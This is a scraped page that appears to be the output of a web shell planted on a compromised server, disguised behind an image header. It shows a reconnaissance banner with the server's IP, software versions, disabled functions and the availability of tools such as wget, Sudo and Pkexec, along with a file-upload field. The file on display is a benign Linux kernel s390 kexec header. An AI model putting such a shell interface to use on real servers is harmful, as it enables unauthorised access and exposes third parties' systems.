????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 13.59.0.231 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/linux-headers-3.13.0-170/arch/s390/include/asm/ |
Upload File : |
/* * Copyright IBM Corp. 2005 * * Author(s): Rolf Adelsberger <adelsberger@de.ibm.com> * */ #ifndef _S390_KEXEC_H #define _S390_KEXEC_H #include <asm/processor.h> #include <asm/page.h> /* * KEXEC_SOURCE_MEMORY_LIMIT maximum page get_free_page can return. * I.e. Maximum page that is mapped directly into kernel memory, * and kmap is not required. */ /* Maximum physical address we can use pages from */ #define KEXEC_SOURCE_MEMORY_LIMIT (-1UL) /* Maximum address we can reach in physical address mode */ #define KEXEC_DESTINATION_MEMORY_LIMIT (-1UL) /* Maximum address we can use for the control pages */ /* Not more than 2GB */ #define KEXEC_CONTROL_MEMORY_LIMIT (1UL<<31) /* Maximum address we can use for the crash control pages */ #define KEXEC_CRASH_CONTROL_MEMORY_LIMIT (-1UL) /* Allocate one page for the pdp and the second for the code */ #define KEXEC_CONTROL_PAGE_SIZE 4096 /* Alignment of crashkernel memory */ #define KEXEC_CRASH_MEM_ALIGN HPAGE_SIZE /* The native architecture */ #define KEXEC_ARCH KEXEC_ARCH_S390 /* * Size for s390x ELF notes per CPU * * Seven notes plus zero note at the end: prstatus, fpregset, timer, * tod_cmp, tod_reg, control regs, and prefix */ #define KEXEC_NOTE_BYTES \ (ALIGN(sizeof(struct elf_note), 4) * 8 + \ ALIGN(sizeof("CORE"), 4) * 7 + \ ALIGN(sizeof(struct elf_prstatus), 4) + \ ALIGN(sizeof(elf_fpregset_t), 4) + \ ALIGN(sizeof(u64), 4) + \ ALIGN(sizeof(u64), 4) + \ ALIGN(sizeof(u32), 4) + \ ALIGN(sizeof(u64) * 16, 4) + \ ALIGN(sizeof(u32), 4) \ ) /* Provide a dummy definition to avoid build failures. */ static inline void crash_setup_regs(struct pt_regs *newregs, struct pt_regs *oldregs) { } #endif /*_S390_KEXEC_H */